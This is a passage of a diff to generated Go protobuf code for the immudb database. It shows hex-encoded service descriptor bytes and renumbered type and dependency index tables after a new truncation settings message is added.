0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, - 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, - 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, - 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, - 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, - 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, - 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, - 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, - 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, - 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, - 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, - 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, - 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, - 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, - 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, - 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, - 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, - 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x33, + 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, + 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, + 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, + 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, 0x65, 0x70, + 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, + 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, + 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, + 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, + 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, + 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, + 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, + 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, + 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, + 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, + 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, + 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, + 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, + 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, + 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, + 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, + 0x6e, 0x63, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x42, 0x8b, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, + 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, + 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, + 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xda, 0x02, 0x12, 0xee, 0x01, 0x0a, + 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, + 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, + 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, + 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, + 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, + 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, + 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, + 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, + 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, + 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, + 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, + 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, + 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, + 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, + 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, + 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, + 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, + 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, + 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, + 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -10151,7 +10206,7 @@ func file_schema_proto_rawDescGZIP() []byte { } var file_schema_proto_enumTypes = make([]protoimpl.EnumInfo, 3) -var file_schema_proto_msgTypes = make([]protoimpl.MessageInfo, 129) +var file_schema_proto_msgTypes = make([]protoimpl.MessageInfo, 130) var file_schema_proto_goTypes = []interface{}{ (EntryTypeAction)(0), // 0: immudb.schema.EntryTypeAction (PermissionAction)(0), // 1: immudb.schema.PermissionAction @@ -10236,64 +10291,65 @@ var file_schema_proto_goTypes = []interface{}{ (*NullableMilliseconds)(nil), // 80: immudb.schema.NullableMilliseconds (*DatabaseNullableSettings)(nil), // 81: immudb.schema.DatabaseNullableSettings (*ReplicationNullableSettings)(nil), // 82: immudb.schema.ReplicationNullableSettings - (*IndexNullableSettings)(nil), // 83: immudb.schema.IndexNullableSettings - (*AHTNullableSettings)(nil), // 84: immudb.schema.AHTNullableSettings - (*LoadDatabaseRequest)(nil), // 85: immudb.schema.LoadDatabaseRequest - (*LoadDatabaseResponse)(nil), // 86: immudb.schema.LoadDatabaseResponse - (*UnloadDatabaseRequest)(nil), // 87: immudb.schema.UnloadDatabaseRequest - (*UnloadDatabaseResponse)(nil), // 88: immudb.schema.UnloadDatabaseResponse - (*DeleteDatabaseRequest)(nil), // 89: immudb.schema.DeleteDatabaseRequest - (*DeleteDatabaseResponse)(nil), // 90: immudb.schema.DeleteDatabaseResponse - (*FlushIndexRequest)(nil), // 91: immudb.schema.FlushIndexRequest - (*FlushIndexResponse)(nil), // 92: immudb.schema.FlushIndexResponse - (*Table)(nil), // 93: immudb.schema.Table - (*SQLGetRequest)(nil), // 94: immudb.schema.SQLGetRequest - (*VerifiableSQLGetRequest)(nil), // 95: immudb.schema.VerifiableSQLGetRequest - (*SQLEntry)(nil), // 96: immudb.schema.SQLEntry - (*VerifiableSQLEntry)(nil), // 97: immudb.schema.VerifiableSQLEntry - (*UseDatabaseReply)(nil), // 98: immudb.schema.UseDatabaseReply - (*ChangePermissionRequest)(nil), // 99: immudb.schema.ChangePermissionRequest - (*SetActiveUserRequest)(nil), // 100: immudb.schema.SetActiveUserRequest - (*DatabaseListResponse)(nil), // 101: immudb.schema.DatabaseListResponse - (*DatabaseListRequestV2)(nil), // 102: immudb.schema.DatabaseListRequestV2 - (*DatabaseListResponseV2)(nil), // 103: immudb.schema.DatabaseListResponseV2 - (*DatabaseWithSettings)(nil), // 104: immudb.schema.DatabaseWithSettings - (*Chunk)(nil), // 105: immudb.schema.Chunk - (*UseSnapshotRequest)(nil), // 106: immudb.schema.UseSnapshotRequest - (*SQLExecRequest)(nil), // 107: immudb.schema.SQLExecRequest - (*SQLQueryRequest)(nil), // 108: immudb.schema.SQLQueryRequest - (*NamedParam)(nil), // 109: immudb.schema.NamedParam - (*SQLExecResult)(nil), // 110: immudb.schema.SQLExecResult - (*CommittedSQLTx)(nil), // 111: immudb.schema.CommittedSQLTx - (*SQLQueryResult)(nil), // 112: immudb.schema.SQLQueryResult - (*Column)(nil), // 113: immudb.schema.Column - (*Row)(nil), // 114: immudb.schema.Row - (*SQLValue)(nil), // 115: immudb.schema.SQLValue - (*NewTxRequest)(nil), // 116: immudb.schema.NewTxRequest - (*NewTxResponse)(nil), // 117: immudb.schema.NewTxResponse - (*ErrorInfo)(nil), // 118: immudb.schema.ErrorInfo - (*DebugInfo)(nil), // 119: immudb.schema.DebugInfo - (*RetryInfo)(nil), // 120: immudb.schema.RetryInfo - (*TruncateDatabaseRequest)(nil), // 121: immudb.schema.TruncateDatabaseRequest - (*TruncateDatabaseResponse)(nil), // 122: immudb.schema.TruncateDatabaseResponse - (*Precondition_KeyMustExistPrecondition)(nil), // 123: immudb.schema.Precondition.KeyMustExistPrecondition - (*Precondition_KeyMustNotExistPrecondition)(nil), // 124: immudb.schema.Precondition.KeyMustNotExistPrecondition - (*Precondition_KeyNotModifiedAfterTXPrecondition)(nil), // 125: immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition - nil, // 126: immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry - nil, // 127: immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry - nil, // 128: immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry - nil, // 129: immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - nil, // 130: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - nil, // 131: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - (structpb.NullValue)(0), // 132: google.protobuf.NullValue - (*emptypb.Empty)(nil), // 133: google.protobuf.Empty + (*TruncationNullableSettings)(nil), // 83: immudb.schema.TruncationNullableSettings + (*IndexNullableSettings)(nil), // 84: immudb.schema.IndexNullableSettings + (*AHTNullableSettings)(nil), // 85: immudb.schema.AHTNullableSettings + (*LoadDatabaseRequest)(nil), // 86: immudb.schema.LoadDatabaseRequest + (*LoadDatabaseResponse)(nil), // 87: immudb.schema.LoadDatabaseResponse + (*UnloadDatabaseRequest)(nil), // 88: immudb.schema.UnloadDatabaseRequest + (*UnloadDatabaseResponse)(nil), // 89: immudb.schema.UnloadDatabaseResponse + (*DeleteDatabaseRequest)(nil), // 90: immudb.schema.DeleteDatabaseRequest + (*DeleteDatabaseResponse)(nil), // 91: immudb.schema.DeleteDatabaseResponse + (*FlushIndexRequest)(nil), // 92: immudb.schema.FlushIndexRequest + (*FlushIndexResponse)(nil), // 93: immudb.schema.FlushIndexResponse + (*Table)(nil), // 94: immudb.schema.Table + (*SQLGetRequest)(nil), // 95: immudb.schema.SQLGetRequest + (*VerifiableSQLGetRequest)(nil), // 96: immudb.schema.VerifiableSQLGetRequest + (*SQLEntry)(nil), // 97: immudb.schema.SQLEntry + (*VerifiableSQLEntry)(nil), // 98: immudb.schema.VerifiableSQLEntry + (*UseDatabaseReply)(nil), // 99: immudb.schema.UseDatabaseReply + (*ChangePermissionRequest)(nil), // 100: immudb.schema.ChangePermissionRequest + (*SetActiveUserRequest)(nil), // 101: immudb.schema.SetActiveUserRequest + (*DatabaseListResponse)(nil), // 102: immudb.schema.DatabaseListResponse + (*DatabaseListRequestV2)(nil), // 103: immudb.schema.DatabaseListRequestV2 + (*DatabaseListResponseV2)(nil), // 104: immudb.schema.DatabaseListResponseV2 + (*DatabaseWithSettings)(nil), // 105: immudb.schema.DatabaseWithSettings + (*Chunk)(nil), // 106: immudb.schema.Chunk + (*UseSnapshotRequest)(nil), // 107: immudb.schema.UseSnapshotRequest + (*SQLExecRequest)(nil), // 108: immudb.schema.SQLExecRequest + (*SQLQueryRequest)(nil), // 109: immudb.schema.SQLQueryRequest + (*NamedParam)(nil), // 110: immudb.schema.NamedParam + (*SQLExecResult)(nil), // 111: immudb.schema.SQLExecResult + (*CommittedSQLTx)(nil), // 112: immudb.schema.CommittedSQLTx + (*SQLQueryResult)(nil), // 113: immudb.schema.SQLQueryResult + (*Column)(nil), // 114: immudb.schema.Column + (*Row)(nil), // 115: immudb.schema.Row + (*SQLValue)(nil), // 116: immudb.schema.SQLValue + (*NewTxRequest)(nil), // 117: immudb.schema.NewTxRequest + (*NewTxResponse)(nil), // 118: immudb.schema.NewTxResponse + (*ErrorInfo)(nil), // 119: immudb.schema.ErrorInfo + (*DebugInfo)(nil), // 120: immudb.schema.DebugInfo + (*RetryInfo)(nil), // 121: immudb.schema.RetryInfo + (*TruncateDatabaseRequest)(nil), // 122: immudb.schema.TruncateDatabaseRequest + (*TruncateDatabaseResponse)(nil), // 123: immudb.schema.TruncateDatabaseResponse + (*Precondition_KeyMustExistPrecondition)(nil), // 124: immudb.schema.Precondition.KeyMustExistPrecondition + (*Precondition_KeyMustNotExistPrecondition)(nil), // 125: immudb.schema.Precondition.KeyMustNotExistPrecondition + (*Precondition_KeyNotModifiedAfterTXPrecondition)(nil), // 126: immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition + nil, // 127: immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry + nil, // 128: immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry + nil, // 129: immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry + nil, // 130: immudb.schema.VerifiableSQLEntry.ColLenByIdEntry + nil, // 131: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + nil, // 132: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + (structpb.NullValue)(0), // 133: google.protobuf.NullValue + (*emptypb.Empty)(nil), // 134: google.protobuf.Empty } var file_schema_proto_depIdxs = []int32{ 4, // 0: immudb.schema.User.permissions:type_name -> immudb.schema.Permission 5, // 1: immudb.schema.UserList.users:type_name -> immudb.schema.User - 123, // 2: immudb.schema.Precondition.keyMustExist:type_name -> immudb.schema.Precondition.KeyMustExistPrecondition - 124, // 3: immudb.schema.Precondition.keyMustNotExist:type_name -> immudb.schema.Precondition.KeyMustNotExistPrecondition - 125, // 4: immudb.schema.Precondition.keyNotModifiedAfterTX:type_name -> immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition + 124, // 2: immudb.schema.Precondition.keyMustExist:type_name -> immudb.schema.Precondition.KeyMustExistPrecondition + 125, // 3: immudb.schema.Precondition.keyMustNotExist:type_name -> immudb.schema.Precondition.KeyMustNotExistPrecondition + 126, // 4: immudb.schema.Precondition.keyNotModifiedAfterTX:type_name -> immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition 36, // 5: immudb.schema.KeyValue.metadata:type_name -> immudb.schema.KVMetadata 19, // 6: immudb.schema.Entry.referencedBy:type_name -> immudb.schema.Reference 36, // 7: immudb.schema.Entry.metadata:type_name -> immudb.schema.KVMetadata @@ -10360,224 +10416,225 @@ var file_schema_proto_depIdxs = []int32{ 75, // 68: immudb.schema.DatabaseNullableSettings.vLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 75, // 69: immudb.schema.DatabaseNullableSettings.txLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 75, // 70: immudb.schema.DatabaseNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 83, // 71: immudb.schema.DatabaseNullableSettings.indexSettings:type_name -> immudb.schema.IndexNullableSettings + 84, // 71: immudb.schema.DatabaseNullableSettings.indexSettings:type_name -> immudb.schema.IndexNullableSettings 75, // 72: immudb.schema.DatabaseNullableSettings.writeTxHeaderVersion:type_name -> immudb.schema.NullableUint32 78, // 73: immudb.schema.DatabaseNullableSettings.autoload:type_name -> immudb.schema.NullableBool 75, // 74: immudb.schema.DatabaseNullableSettings.readTxPoolSize:type_name -> immudb.schema.NullableUint32 80, // 75: immudb.schema.DatabaseNullableSettings.syncFrequency:type_name -> immudb.schema.NullableMilliseconds 75, // 76: immudb.schema.DatabaseNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 - 84, // 77: immudb.schema.DatabaseNullableSettings.ahtSettings:type_name -> immudb.schema.AHTNullableSettings + 85, // 77: immudb.schema.DatabaseNullableSettings.ahtSettings:type_name -> immudb.schema.AHTNullableSettings 75, // 78: immudb.schema.DatabaseNullableSettings.maxActiveTransactions:type_name -> immudb.schema.NullableUint32 75, // 79: immudb.schema.DatabaseNullableSettings.mvccReadSetLimit:type_name -> immudb.schema.NullableUint32 75, // 80: immudb.schema.DatabaseNullableSettings.vLogCacheSize:type_name -> immudb.schema.NullableUint32 - 80, // 81: immudb.schema.DatabaseNullableSettings.retentionPeriod:type_name -> immudb.schema.NullableMilliseconds - 80, // 82: immudb.schema.DatabaseNullableSettings.truncationFrequency:type_name -> immudb.schema.NullableMilliseconds - 78, // 83: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool - 79, // 84: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString - 79, // 85: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString - 75, // 86: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32 - 79, // 87: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> immudb.schema.NullableString - 79, // 88: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString - 78, // 89: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool - 75, // 90: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 - 75, // 91: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 - 75, // 92: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32 - 78, // 93: immudb.schema.ReplicationNullableSettings.AllowTxDiscarding:type_name -> immudb.schema.NullableBool - 75, // 94: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 - 75, // 95: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 75, // 96: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 - 75, // 97: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 - 75, // 98: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> 